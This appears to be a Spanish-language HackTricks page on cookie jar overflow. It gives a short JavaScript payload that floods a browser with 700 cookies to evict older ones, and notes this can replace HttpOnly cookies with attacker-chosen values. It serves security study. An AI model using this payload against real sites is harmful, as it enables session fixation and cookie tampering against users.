tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Los navegadores tienen un límite en el número de cookies que pueden almacenar para una página. Entonces, si por alguna razón necesitas hacer que una cookie desaparezca, puedes desbordar el tarro de cookies ya que las más antiguas serán eliminadas primero:

javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
}

Nota que las cookies de terceros que apuntan a un dominio diferente no serán sobrescritas.

caution

Este ataque también se puede utilizar para sobrescribir cookies HttpOnly ya que puedes eliminarlas y luego restablecerlas con el valor que desees.

Verifica esto en esta publicación con un laboratorio.

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks